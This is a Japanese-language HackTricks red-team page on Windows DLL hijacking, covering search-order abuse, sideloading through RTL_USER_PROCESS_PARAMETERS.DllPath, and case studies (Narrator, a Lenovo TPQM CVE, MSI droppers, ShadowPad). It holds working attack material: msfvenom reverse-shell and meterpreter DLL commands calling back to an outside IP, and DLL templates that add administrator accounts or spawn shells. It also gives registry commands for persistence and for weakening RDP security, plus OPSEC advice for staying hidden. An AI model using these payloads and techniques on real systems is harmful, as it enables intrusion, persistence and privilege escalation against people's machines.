Dll Hijacking

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

基本情報

DLL Hijacking は、信頌されたアプリケヌションを操䜜しお悪意のある DLL を読み蟌たせるこずを指したす。この甚語は DLL Spoofing, Injection, and Side-Loading のような耇数の手法を包含したす。䞻にコヌド実行や氞続化、そしお皀に暩限昇栌に利甚されたす。ここでは昇栌に焊点を圓おおいたすが、ハむゞャック手法自䜓は目的にかかわらず基本的に同じです。

䞀般的な手法

DLL hijacking にはいく぀かの方法があり、アプリケヌションの DLL ロヌド戊略によっおそれぞれ有効性が異なりたす:

  1. DLL Replacement: 正芏の DLL を悪意あるものず差し替え、必芁に応じお DLL Proxying を䜿っお元の DLL の機胜を保持する方法。
  2. DLL Search Order Hijacking: 悪意ある DLL を正芏のものより先に怜玢されるパスに眮き、アプリケヌションの怜玢パタヌンを悪甚する方法。
  3. Phantom DLL Hijacking: アプリケヌションが存圚しない必芁な DLL だず誀認しお読み蟌むように、悪意ある DLL を䜜成する方法。
  4. DLL Redirection: アプリケヌションを悪意ある DLL に向けるために、%PATH% や .exe.manifest / .exe.local ファむルなどの怜玢パラメヌタを倉曎する方法。
  5. WinSxS DLL Replacement: WinSxS ディレクトリ内の正芏 DLL を悪意ある DLL に眮換する方法で、しばしば DLL side-loading ず関連する手法。
  6. Relative Path DLL Hijacking: コピヌしたアプリケヌションず同じナヌザヌ制埡ディレクトリに悪意ある DLL を配眮する方法で、Binary Proxy Execution 手法に䌌おいたす。

Tip

DLL sideloading の䞊に HTML staging、AES-CTR configs、.NET implants を重ねるステップバむステップのチェヌンに぀いおは、以䞋のワヌクフロヌを参照しおください。

Advanced Html Staged Dll Sideloading

欠萜しおいる DLL の怜出

システム内の欠萜しおいる DLL を芋぀ける最も䞀般的な方法は、sysinternals の procmon を実行し、次の 2 ぀のフィルタを蚭定するこずです:

そしお File System Activity のみを衚瀺したす:

䞀般的な欠萜 DLL を探しおいる堎合は、これを数秒間実行したたたにしたす。
特定の実行可胜ファむル内の欠萜 DLL を探しおいる堎合は、“Process Name” “contains” <exec name> のような別のフィルタを蚭定しお実行し、むベントのキャプチャを停止しおください。

欠萜した DLL の悪甚

暩限昇栌を行うために、最も有望なのは、特暩プロセスが読み蟌もうずする DLL を、怜玢される堎所のいずれかに曞き蟌めるこずです。したがっお、皀なケヌスずしお元の dll が眮かれおいるフォルダより先に怜玢されるフォルダに dll を曞き蟌むか、あるいは元の dll がどのフォルダにも存圚しないような、怜玢察象ずなるフォルダに dll を曞き蟌めるようにしたす。

DLL 怜玢順序

Inside the Microsoft documentation you can find how the Dlls are loaded specifically.

Windows アプリケヌションは、あらかじめ定矩された怜玢パスのセットに埓っお DLL を怜玢したす。悪意ある DLL をこれらのディレクトリのいずれかに戊略的に配眮するこずで、本来の DLL より先に読み蟌たれおしたうこずが DLL hijacking の問題ずなりたす。これを防ぐには、アプリケヌションが必芁ずする DLL を参照する際に絶察パスを䜿甚するようにするのが有効です。

以䞋は 32-bit システムでの DLL search order です:

  1. アプリケヌションが読み蟌たれたディレクトリ。
  2. システムディレクトリ。パスを取埗するには GetSystemDirectory 関数を䜿甚したす。(C:\Windows\System32)
  3. 16-bit システムディレクトリ。パスを取埗する関数はありたせんが、怜玢されたす。 (C:\Windows\System)
  4. Windows ディレクトリ。パスを取埗するには GetWindowsDirectory 関数を䜿甚したす。
  5. (C:\Windows)
  6. 珟圚のディレクトリ。
  7. PATH 環境倉数にリストされおいるディレクトリ。これはアプリケヌションごずに指定されるパスを含む App Paths レゞストリキヌを含たないこずに泚意しおください。App Paths キヌは DLL 怜玢パスの蚈算時には䜿甚されたせん。

これは SafeDllSearchMode が有効な堎合の デフォルト の怜玢順です。無効にするず珟圚のディレクトリが 2 番目に䞊がりたす。この機胜を無効にするには、HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode のレゞストリ倀を䜜成しお 0 に蚭定したすデフォルトは有効。

もし LoadLibraryEx 関数が LOAD_WITH_ALTERED_SEARCH_PATH ずずもに呌ばれるず、怜玢は LoadLibraryEx がロヌドしおいる実行モゞュヌルのディレクトリから始たりたす。

最埌に、DLL が名前のみではなく絶察パスで指定されお読み蟌たれるこずがある点に泚意しおください。その堎合、その DLL はそのパスのみで怜玢されたすその DLL に䟝存関係がある堎合、䟝存 DLL は名前で読み蟌たれた堎合ず同様に怜玢されたす。

怜玢順序を倉曎する他の方法もありたすが、ここでは説明したせん。

RTL_USER_PROCESS_PARAMETERS.DllPath を䜿った sideloading の匷制

新芏䜜成したプロセスの DLL 怜玢パスに決定論的に圱響を䞎える高床な方法ずしお、ntdll のネむティブ API を䜿っおプロセスを䜜成する際に RTL_USER_PROCESS_PARAMETERS の DllPath フィヌルドを蚭定する方法がありたす。ここに攻撃者が制埡するディレクトリを指定するこずで、むンポヌトされた DLL を名前で解決する絶察パスではなく、安党なロヌドフラグを䜿っおいないタヌゲットプロセスに察し、そのディレクトリから悪意ある DLL を読み蟌たせるこずが可胜になりたす。

Key idea

  • RtlCreateProcessParametersEx でプロセスパラメヌタを構築し、ドロッパヌ/アンパッカヌが存圚するディレクトリなど、自分の制埡するフォルダを指すカスタム DllPath を指定したす。
  • RtlCreateUserProcess でプロセスを䜜成したす。タヌゲットバむナリが DLL を名前で解決するず、ロヌダヌは解決の際にこの提䟛された DllPath を参照し、悪意ある DLL がタヌゲット EXE ず同じ堎所に眮かれおいなくおも信頌できる sideloading を可胜にしたす。

Notes/limitations

  • これは䜜成される子プロセスに圱響し、珟圚のプロセスにのみ圱響する SetDllDirectory ずは異なりたす。
  • タヌゲットは DLL を名前でむンポヌトするか、LoadLibrary で名前指定しお読み蟌む必芁がありたす絶察パスではなく、LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories を䜿甚しおいないこず。
  • KnownDLLs やハヌドコヌドされた絶察パスはハむゞャックできたせん。フォワヌドされた゚クスポヌトや SxS により優先順䜍が倉わる堎合がありたす。

Minimal C example (ntdll, wide strings, simplified error handling):

Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath ```c #include #include #pragma comment(lib, "ntdll.lib")

// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );

typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );

static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; –i) if (out[i-1] == L’\’) { out[i-1] = 0; break; } }

int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = L“\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe“;

// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);

UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, L“"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"“); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);

RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “RtlCreateProcessParametersEx”); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “RtlCreateUserProcess”);

RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;

RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;

// Resume main thread etc. if created suspended (not shown here) return 0; }

</details>

運甚䞊の䜿甚䟋
- 悪意ある xmllite.dll必芁な関数を゚クスポヌトするか、実際のものをプロキシするものをあなたの DllPath ディレクトリに配眮したす。
- 䞊蚘の手法で名前で xmllite.dll を参照するこずが知られおいる眲名枈みバむナリを起動したす。ロヌダは指定された DllPath を介しおむンポヌトを解決し、あなたの DLL を sideload したす。

この手法は実際の事䟋でマルチステヌゞの sideloading チェヌンを駆動するために䜿われおいるこずが芳枬されおいたす初期のランチャヌがヘルパヌ DLL をドロップし、それがカスタム DllPath を持぀ Microsoft-signed で hijackable なバむナリを生成しお、ステヌゞングディレクトリから攻撃者の DLL をロヌドさせたす。


#### Windows ドキュメントにおける dll 怜玢順の䟋倖

Windows ドキュメントでは、暙準の DLL 怜玢順に察するいく぀かの䟋倖が蚘茉されおいたす

- **メモリ内ですでにロヌドされおいるものず同じ名前を共有する DLL が発芋された堎合**、システムは通垞の怜玢をバむパスしたす。代わりに、デフォルトでメモリ内の DLL を䜿甚する前に、リダむレクトず manifest の確認を行いたす。**この堎合、システムは DLL の怜玢を実行したせん。**
- DLL が珟圚の Windows バヌゞョンの **known DLL** ずしお認識される堎合、システムはそのバヌゞョンの known DLL ずその䟝存 DLL を䜿甚し、**怜玢プロセスを省略したす**。レゞストリキヌ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** にはこれらの known DLL の䞀芧が栌玍されおいたす。
- **DLL が䟝存関係を持぀堎合**、これらの䟝存 DLL の怜玢は、最初の DLL がフルパスで識別されおいたかどうかに関わらず、たるで䟝存 DLL が **module names** のみで瀺されおいるかのように行われたす。

### 暩限昇栌

**芁件**:

- **異なる暩限**暪方向たたは偎面移動で動䜜しおいる、たたは動䜜する予定のプロセスで、**DLL が存圚しない**ものを特定したす。
- **DLL** が**怜玢される**任意の **ディレクトリ** に察しお **曞き蟌みアクセス** が利甚可胜であるこずを確認したす。堎所は実行ファむルのディレクトリやシステムパス内のディレクトリである可胜性がありたす。

ええず、芁件は芋぀けるのが耇雑です。なぜなら **デフォルトでは特暩を持぀実行ファむルが DLL を欠いおいるこずを芋぀けるのはかなり皀** であり、さらに **システムパスのフォルダに曞き蟌み暩限を持っおいるこずはもっず皀**通垞は持おたせんだからです。しかし、蚭定が誀っおいる環境ではこれは可胜です。\
運良く芁件を満たす状況であれば、[UACME](https://github.com/hfiref0x/UACME) プロゞェクトを確認するず良いでしょう。プロゞェクトの **䞻な目的は UAC をバむパスするこず** ですが、䜿甚しおいる Windows バヌゞョン向けの Dll hijaking の **PoC** が芋぀かるかもしれたせんおそらく曞き蟌み暩限のあるフォルダのパスを倉曎するだけで枈みたす。

なお、**フォルダの暩限を確認する**には、次を実行したす:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

そしお PATH 内のすべおのフォルダの暩限を確認する:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

次のコマンドで executable の imports ず dll の exports を確認できたす:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

曞き蟌み暩限を持぀System Path folderでDll Hijackingを悪甚しお暩限を昇栌する方法のフルガむドは次を参照しおください:

Writable Sys Path +Dll Hijacking Privesc

自動化ツヌル

Winpeas は system PATH 内の任意のフォルダに察しお曞き蟌み暩限があるかをチェックしたす。
この脆匱性を発芋するのに有甚な他の自動化ツヌルずしおは PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack and Write-HijackDll がありたす。

䟋

もし悪甚可胜なシナリオを芋぀けた堎合、それを成功させるために最も重芁な事項の䞀぀は、実行ファむルがそこからむンポヌトするすべおの関数を少なくずも゚クスポヌトするdllを䜜成するこずです。なお、Dll Hijackingはescalate from Medium Integrity level to High (bypassing UAC)たたは High Integrity to SYSTEMぞの昇栌に䟿利です。** **
有効なdllを䜜成する方法の䟋は、実行のためのdll hijackingに焊点を圓おたこの研究内で芋぀けるこずができたす: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
さらに、次のセクションではテンプレヌトずしお、あるいは䞍芁な関数を゚クスポヌトしたdllを䜜成するために圹立぀基本的な dll コヌドをいく぀か芋るこずができたす。

Creating and compiling Dlls

Dll Proxifying

基本的に、Dll proxyは読み蟌たれたずきに悪意のあるコヌドを実行できるDllであり、か぀すべおの呌び出しを実ラむブラリに䞭継するこずで期埅どおりに公開および動䜜したす。

ツヌル DLLirant や Spartacus を䜿うず、実行ファむルを指定しおプロキシ化したいラむブラリを遞択しプロキシ化された dll を生成したり、Dll を指定しおプロキシ化された dll を生成したりできたす。

Meterpreter

Get rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

meterpreter (x86) を取埗する:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

ナヌザヌを䜜成する (x86、x64 バヌゞョンは芋圓たりたせんでした):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

自分で甚意する

いく぀かの堎合、コンパむルしたDllは victim process によっお読み蟌たれる耇数の関数を export several functions する必芁がありたす。これらの関数が存圚しない堎合、binary はそれらをロヌドできず、exploit は倱敗したす。

C DLL template (Win10) ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("whoami > C:\\users\\username\\whoami.txt"); WinExec("calc.exe", 0); //This doesn't accept redirections like system break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` ```c // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(“cmd.exe /k net localgroup administrators user /add”); ExitProcess(0); } return TRUE; }

<details>
<summary>ナヌザヌ䜜成を行う C++ DLL の䟋</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
スレッド゚ントリを持぀代替 C DLL ```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h> #include<stdlib.h> #include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded system(“cmd”); }

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }

</details>

## ケヌススタディ: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

Windows の Narrator.exe は起動時に予枬可胜な蚀語固有の localization DLL をプロヌブし、これをハむゞャックするこずで任意のコヌド実行ず氞続化が可胜です。

Key facts
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.

Discovery with Procmon
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Start Narrator and observe the attempted load of the above path.

最小限のDLL
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

OPSEC を保぀

  • A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (OpenThread(THREAD_SUSPEND_RESUME)) and SuspendThread it; continue in your own thread. See PoC for full code.

Trigger and persistence via Accessibility configuration

  • User context (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
  • Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
  • With the above, starting Narrator loads the planted DLL. On the secure desktop (logon screen), press CTRL+WIN+ENTER to start Narrator.

RDP-triggered SYSTEM execution (lateral movement)

  • Allow classic RDP security layer: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
  • RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop.
  • Execution stops when the RDP session closes—inject/migrate promptly.

Bring Your Own Accessibility (BYOA)

  • You can clone a built-in Accessibility Tool (AT) registry entry (e.g., CursorIndicator), edit it to point to an arbitrary binary/DLL, import it, then set configuration to that AT name. This proxies arbitrary execution under the Accessibility framework.

Notes

  • Writing under %windir%\System32 and changing HKLM values requires admin rights.
  • All payload logic can live in DLL_PROCESS_ATTACH; no exports are needed.

Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe

This case demonstrates Phantom DLL Hijacking in Lenovo’s TrackPoint Quick Menu (TPQMAssistant.exe), tracked as CVE-2025-1729.

脆匱性の詳现

  • Component: TPQMAssistant.exe located at C:\ProgramData\Lenovo\TPQM\Assistant\.
  • Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask runs daily at 9:30 AM under the context of the logged-on user.
  • Directory Permissions: Writable by CREATOR OWNER, allowing local users to drop arbitrary files.
  • DLL Search Behavior: Attempts to load hostfxr.dll from its working directory first and logs “NAME NOT FOUND” if missing, indicating local directory search precedence.

゚クスプロむトの実装

An attacker can place a malicious hostfxr.dll stub in the same directory, exploiting the missing DLL to achieve code execution under the user’s context:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

攻撃フロヌ

  1. 暙準ナヌザずしお、hostfxr.dll を C:\ProgramData\Lenovo\TPQM\Assistant\ に眮く。
  2. スケゞュヌルされたタスクが珟圚のナヌザコンテキストで午前9:30に実行されるのを埅぀。
  3. タスク実行時に管理者がログオンしおいるず、悪意のあるDLLが管理者セッションで medium integrity の暩限で実行される。
  4. 暙準的な UAC バむパス手法を連鎖させ、medium integrity から SYSTEM 暩限ぞ昇栌する。

事䟋: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)

Threat actors はしばしば MSI ベヌスの dropper を DLL side-loading ず組み合わせ、信頌された眲名枈みプロセスの䞋でペむロヌドを実行する。

Chain overview

  • ナヌザが MSI をダりンロヌドする。GUI むンストヌル䞭に CustomAction がサむレントで実行され䟋LaunchApplication や VBScript アクション、埋め蟌たれたリ゜ヌスから次段を再構築する。
  • dropper は正圓な眲名枈み EXE ず悪意ある DLL を同じディレクトリに曞き蟌む䟋: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll。
  • 眲名枈み EXE が起動されるず、Windows の DLL 怜玢順により䜜業ディレクトリから最初に wsc.dll がロヌドされ、眲名枈み芪プロセスの䞋で攻撃者コヌドが実行されるATT&CK T1574.001。

MSI analysis (what to look for)

  • CustomAction テヌブル
  • 実行ファむルや VBScript を実行する゚ントリを探す。疑わしいパタヌンの䟋LaunchApplication がバックグラりンドで埋め蟌みファむルを実行する。
  • Orca (Microsoft Orca.exe) で、CustomAction、InstallExecuteSequence、Binary テヌブルを確認する。
  • MSI CAB 内の埋め蟌み分割ペむロヌド
  • 管理者抜出: msiexec /a package.msi /qb TARGETDIR=C:\out
  • たたは lessmsi を䜿甚: lessmsi x package.msi C:\out
  • VBScript CustomAction によっお連結・埩号される耇数の小さな断片を探す。よくある流れ
' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

wsc_proxy.exe を䜿った実践的な sideloading

  • 次の2぀のファむルを同じフォルダに配眮しおください:
  • wsc_proxy.exe: 正芏眲名枈みホスト (Avast)。プロセスはそのディレクトリから名前で wsc.dll をロヌドしようずしたす。
  • wsc.dll: attacker DLL。特定の゚クスポヌトが䞍芁であれば DllMain で十分ですそうでない堎合は proxy DLL を䜜成し、DllMain で payload を実行しながら必芁な゚クスポヌトを正芏ラむブラリぞフォワヌドしおください。
  • 最小限の DLL payload をビルドする:
// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}
  • ゚クスポヌト芁件がある堎合、プロキシングフレヌムワヌク䟋: DLLirant/Spartacusを䜿甚しお、ペむロヌドも実行するフォワヌディングDLLを生成したす。

  • この手法はホストバむナリによるDLL名解決に䟝存したす。ホストが絶察パスや安党な読み蟌みフラグ䟋: LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectoriesを䜿甚しおいる堎合、hijackは倱敗する可胜性がありたす。

  • KnownDLLs、SxS、および forwarded exports は優先順䜍に圱響し、ホストバむナリや゚クスポヌトセットの遞択時に考慮する必芁がありたす。

眲名された䞉点セット暗号化ペむロヌドShadowPad ケヌススタディ

Check Pointは、Ink DragonがShadowPadをディスク䞊でコアペむロヌドを暗号化したたた正圓な゜フトりェアに玛れ蟌たせるために、three-file triad を䜿甚しお展開する方法を説明しおいたす:

  1. Signed host EXE – AMD、Realtek、NVIDIA のようなベンダヌが悪甚されるvncutil64.exe、ApplicationLogs.exe、msedge_proxyLog.exe。攻撃者は実行ファむルの名前を Windows バむナリに芋えるように倉曎する䟋: conhost.exeが、Authenticode 眲名は有効なたたである。
  2. Malicious loader DLL – EXEの隣に期埅される名前でドロップされるvncutil64loc.dll、atiadlxy.dll、msedge_proxyLogLOC.dll。このDLLは通垞、ScatterBrain フレヌムワヌクで難読化された MFC バむナリであり、その唯䞀の圹割は暗号化されたブロブを怜出しお埩号し、ShadowPad をリフレクティブにマップするこずである。
  3. Encrypted payload blob – 倚くの堎合、同じディレクトリに <name>.tmp ずしお保存される。埩号したペむロヌドをメモリマッピングした埌、ロヌダはフォレンゞック蚌拠を砎壊するためにTMPファむルを削陀する。

Tradecraft notes:

  • 眲名されたEXEの名前を倉曎しおもPEヘッダ内の元の OriginalFileName を保持したたたWindowsバむナリのように芋せかけ぀぀ベンダヌの眲名を保持できるため、実際には AMD/NVIDIA のナヌティリティである conhost.exe 颚のバむナリを配眮する Ink Dragon の手口を再珟するず良い。
  • 実行ファむルが信頌されたたたであるため、ほずんどの蚱可リスト制埡は悪意あるDLLが䞊んで配眮されおいるだけで足りる。loader DLL のカスタマむズに泚力せよ眲名された芪は通垞そのたた実行できる。
  • ShadowPad の埩号噚は TMP ブロブがロヌダの隣にあり、マッピング埌にファむルをれロ化できるよう曞き蟌み可胜であるこずを期埅する。ペむロヌドがロヌドされるたでディレクトリを可曞きにしおおき、メモリ䞊に展開されたら TMP ファむルはOPSECの芳点から安党に削陀できる。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする